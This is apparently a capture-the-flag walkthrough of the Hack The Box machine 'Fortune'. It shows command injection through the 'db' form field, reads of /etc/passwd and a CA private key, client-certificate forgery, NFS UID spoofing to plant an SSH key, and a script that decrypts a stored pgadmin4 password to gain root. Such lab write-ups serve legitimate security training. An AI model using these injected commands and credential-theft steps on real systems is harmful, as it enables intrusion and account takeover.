This post documents the complete walkthrough of Fortune, a retired vulnerable VM created by AuxSarge and hosted at Hack The Box

 

fortune.png

 

❯ Information Gathering

Starting with a full nmap scan

Nmap cheat sheet

❯ nmap -sV -sC -p- -oA ./nmap/fortune -T4 fortune.htb

Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.19s latency).
Not shown: 65526 closed ports
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 7.9 (protocol 2.0)
80/tcp    open     http          OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp   open     ssl/https?
1629/tcp  filtered lontalk-urgnt
18391/tcp filtered unknown
19935/tcp filtered unknown
20041/tcp filtered unknown
38257/tcp filtered unknown
47229/tcp filtered unknown

Checking the web ports we see that port 443 requires a client certificate so only port 80 is left for now.

webpage.png

 ❯ curl fortune.htb
<!DOCTYPE html>
<html>
<head>
<title>Fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<p>Please choose from a database of fortunes:</p>
<form action="/select" method="POST">
  <input type="radio" name="db" value="fortunes"> fortunes<br>
  <input type="radio" name="db" value="fortunes2"> fortunes2<br>
  <input type="radio" name="db" value="recipes"> recipes<br>
  <input type="radio" name="db" value="startrek"> startrek<br>
  <input type="radio" name="db" value="zippy"> zippy<br>
<br>
<input type="submit" value="Submit">
</form>
</body>
</html>

I found nothing in the source so I used sslyze to get more information on the required cert for SSL

❯ sslyze --regular fortune.htb
...
 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   fortune.htb:443                       => 10.10.10.127   WARNING: Server REQUIRED client authentication, specific plugins will fail.




 SCAN RESULTS FOR FORTUNE.HTB:443 - 10.10.10.127
 -----------------------------------------------

 * Deflate Compression:
                                          OK - Compression disabled

 * Certificate Information:
     Content
       SHA1 Fingerprint:                  f5528e05f76ef7013a6ce1b9888e60aa36c4e4a6
       Common Name:                       fortune.htb
       Issuer:                            Fortune Intermediate CA
       Serial Number:                     4096
       Not Before:                        2018-10-30 01:13:42
       Not After:                         2019-11-09 01:13:42
       Signature Algorithm:               sha256
       Public Key Algorithm:              RSA
       Key Size:                          2048
       Exponent:                          65537 (0x10001)
       DNS Subject Alternative Names:     []
...

looks like we need a client certificate from the issuer Fortune Intermediate

I ran Wfuzz and Just a after a few seconds we see that it found a way to inject commands, in this case reading /etc/passwd

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://fortune.htb/select
Total requests: 868

===============================================================
ID   		Response   Lines      Word         Chars          Payload    
===============================================================
000000003:   500        4 L      40 W     291 Ch      "%00../../../../../../etc/passwd"        
000000005:   500        4 L      40 W     291 Ch      "%00../../../../../../etc/shadow"        

Since typing the commands in burp is not too inconvenient we start by enumerating the system

burp_1_intruder.png

 

burp_2_intruder_payload.png

 

burp_3_intruder_response.png

...
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
...

we can list the contents of bob’s home directory by injecting the command ` | ls -al /home/bob`

❯ db=zippy | ls -al /home/bob

total 48
drwxr-xr-x  5 bob   bob    512 Nov  3  2018 .
drwxr-xr-x  5 root  wheel  512 Nov  2  2018 ..
-rw-r--r--  1 bob   bob     87 Oct 11  2018 .Xdefaults
-rw-r--r--  1 bob   bob    771 Oct 11  2018 .cshrc
-rw-r--r--  1 bob   bob    101 Oct 11  2018 .cvsrc
-rw-r--r--  1 bob   bob    359 Oct 11  2018 .login
-rw-r--r--  1 bob   bob    175 Oct 11  2018 .mailrc
-rw-r--r--  1 bob   bob    215 Oct 11  2018 .profile
-rw-------  1 bob   bob     13 Nov  3  2018 .psql_history
drwx------  2 bob   bob    512 Nov  2  2018 .ssh
drwxr-xr-x  7 bob   bob    512 Oct 29  2018 ca
drwxr-xr-x  2 bob   bob    512 Nov  2  2018 dba

From the enumeration on port 443, we know that we need a client certificate from the issuer Fortune Intermediate. While traversing through the directories we find the folder ` /home/bob/ca/intermediate/certs`

❯ db=zippy | ls ‐la /home/bob/ca/intermediate/certs

burp_cert_folder.png

❯ db=zippy | cat /home/bob/ca/intermediate/certs/intermediate.cert.pem burp_cert.png

Select the certificate and save it to a file intermediate.cert.pem. While trying to import the certificate into Firefox we get the error message import_cert.png

we need the RSA private key located in

❯ db=zippy | cat /home/bob/ca/intermediate/private/intermediate.key.pem

burp_private_key.png

Save it as intermediate.key.pem. Now we need to convert the certificate to pkcs12 using openssl (leave password field empty)

❯ openssl pkcs12 -export -out cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem

convert_cert.png

import the certificate cert.p12 in Firefox (leave password field empty)

cert_imported.png

in Firefox navigate to https://fortune.htb https_site_1.png

 

https_site_2.png

 

https_site_3.png

You will need to use the local authpf service to obtain elevated network access. If you do not already have the appropriate SSH key pair, then you will need to generate one and configure your local system appropriately to proceed.

authpf – authenticating gateway user shell

 

navigating to https://fortune.htb/generate in the browser we get a key pair to authenticate to the box

suthpf_genrate.png

Save the public key in a file id_rsa.pub and the private key in id_rsa then change the permission to 600 (rw-------).

chmod 600 id_rsa.pub id_rsa

From the burpsuite enumeration there was a user with authpf

nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf

Use Openssh client with the flag -i identity_file

ssh -i id_rsa [email protected]

ssh_nfsuser.png

Once we ssh it seems like we can’t execute any commands the user nfsuser doesn’t have a regular shell

nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf  
bob:*:1001:1001::/home/bob:/bin/ksh

The authpf(8) utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through. When a user’s shell is set to /usr/sbin/authpf and they log in using SSH, authpf will make the necessary changes to the active pf(4) ruleset so that the user’s traffic is passed through the filter and/or translated using NAT/redirection. Once the user logs out or their session is disconnected, authpf will remove any rules loaded for the user and kill any stateful connections the user has open. Because of this, the ability of the user to pass traffic through the gateway only exists while the user keeps their SSH session open. (source: https://www.openbsd.org/faq/pf/authpf.html)

So what does this mean ? it means that now that we authenticated through authpf our traffic is allowed through to other parts of the network. In a new terminal window we run an nmap scan

❯ nmap -sV -sC -oA ./nmap/fortune_authpf  fortune.htb

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
80/tcp   open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          884/udp  mountd
|_  100005  1,3          908/tcp  mountd
443/tcp  open  ssl/https?
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4

We notice that the results is different from our initial nmap scan we can see more services running on the box.

port 8081

port8081.png

Not a lot of helpful information but we can mount the /home directory.

❯ mount fortune.htb:/home ./mount

mounted_init.png

looks like we don’t have permission to view the user charlie files. This is because nfs matches UID when mounting I was trying to mount the share as root uid=0(root) to be able to access the share you need a local user with the same UID as the remote user uid=1000(charlie) i have the local user vagrant with uid=1000 change your current user to the user with uid=1000 then try to mount the share again

mounted_uid1000.png

because the UID’s match now have read/write permission to charlie's

[email protected]:/root/HackTheBox/Fortune/mount/charlie$ ls -alh
total 22K
drwxr-x--- 3 vagrant vagrant 512 Nov  5  2018 .
drwxr-xr-x 5 root    root    512 Nov  2  2018 ..
-rw-r----- 1 vagrant vagrant 771 Oct 11  2018 .cshrc
-rw-r----- 1 vagrant vagrant 101 Oct 11  2018 .cvsrc
-rw-r----- 1 vagrant vagrant 359 Oct 11  2018 .login
-rw-r----- 1 vagrant vagrant 175 Oct 11  2018 .mailrc
-rw------- 1 vagrant vagrant 608 Nov  3  2018 mbox
-rw-r----- 1 vagrant vagrant 216 Oct 11  2018 .profile
drwx------ 2 vagrant vagrant 512 Nov  2  2018 .ssh
-r-------- 1 vagrant vagrant  33 Nov  3  2018 user.txt
-rw-r----- 1 vagrant vagrant  87 Oct 11  2018 .Xdefaults

We can now generate a ssh key using the command

 

❯ ssh-keygen -t rsa -b 2048 -f ./id_rsa_charlie

 

then copy the public key to charlie/.ssh/authorized_keys

 

❯ cat id_rsa_charlie.pub >> ./mount/charlie/.ssh/authorized_keys

ssh_charlie.png

❯ fortune$ wc user.txt                                                       
       1       1      33 user.txt

ᕕ( ᐛ )ᕗ

 

PrivEsc

There is another file mbox in charlie home directory

fortune$ cat mbox                                                                                             
From [email protected] Sat Nov  3 11:18:51 2018
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: from localhost (fortune.htb [local])
        by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
        for <[email protected]>;
        Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From:  <[email protected]>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: [email protected]
Subject: pgadmin4
Message-ID: <[email protected]>
Status: RO

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

So we search the file system for pgadmin4, found it under /var/appsrv/pgadmin4

❯ fortune$ pwd
/var/appsrv/pgadmin4
❯ fortune$ ls -alh
total 252
drwxr-x---  4 _pgadmin4  wheel   512B Nov  3  2018 .
drwxr-xr-x  5  root                wheel   512B Nov  2  2018 ..
-rw-r-----  1  _pgadmin4  wheel   116K Nov  3  2018 pgadmin4.db
-rw-r-----  1  _pgadmin4  wheel   479B Nov  3  2018 pgadmin4.ini
drwxr-x---  2 _pgadmin4  wheel   512B Nov  3  2018 sessions
drwxr-x---  3 _pgadmin4  wheel   512B Nov  3  2018 storage

Looks like we have read access to the database pgadmin4.db we can download the database to our local machine to browse its contents using scp ❯ scp -i id_rsa_charlie [email protected]:/var/appsrv/pgadmin4/pgadmin4.db ./

Then open the database using DB Browser for SQLite In Browser Data –> Table: server we find postgressdba encrypted password (not a hash)

postgressdba.png

Password: utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz

And in Browser Data –> Table:user we find the hash for bob and charlie

users_hash.png

[email protected] : $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg

From the email in mbox we know that bob is the one that set the database password

...
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

Our goal is to decrypt the dba password, looking through the project I found crypto.py (add href showing where it’s from?) it contains a decryption function used for user management on pdadmin4, we can use it to createa simple script to decrypt the dba password using bob’s hash.

Since Pgadmin4 is an open source project hosted on GitHub (https://github.com/postgres/pgadmin4/).

Our goal is to decrypt the dba password, looking through the project I found (crypto.py)[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py]

It contains a decrypt function used for user management on pgadmin4 we can use it to create a simple script to decrypt the dba password using bob's hash.

decrypt.py
############################################
# Source Pgadmin4 project on github.       #
# pgadmin4/web/pgadmin/utils/crypto.py     #
#                 @Bad3r                   #
############################################

import base64
import hashlib
import os

import six

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8

def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.
    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()


def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)

if __name__ == "__main__":
    dba_passwd = "utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz"
    bob_hash = "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg"

    print("[*] Decrypting dba password using bob's hash...")
    dba_decrypted_passwd = decrypt(dba_passwd,bob_hash)

    print("[!] Done!")
    print("[*] Decrypted password: " + dba_decrypted_passwd)

Run the script

❯ python decrypt.py
[*] Decrypting dba password using bob's hash...
[!] Done!
[*] Decrypted password: R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

(☞゚∀゚)☞

i_am_root.png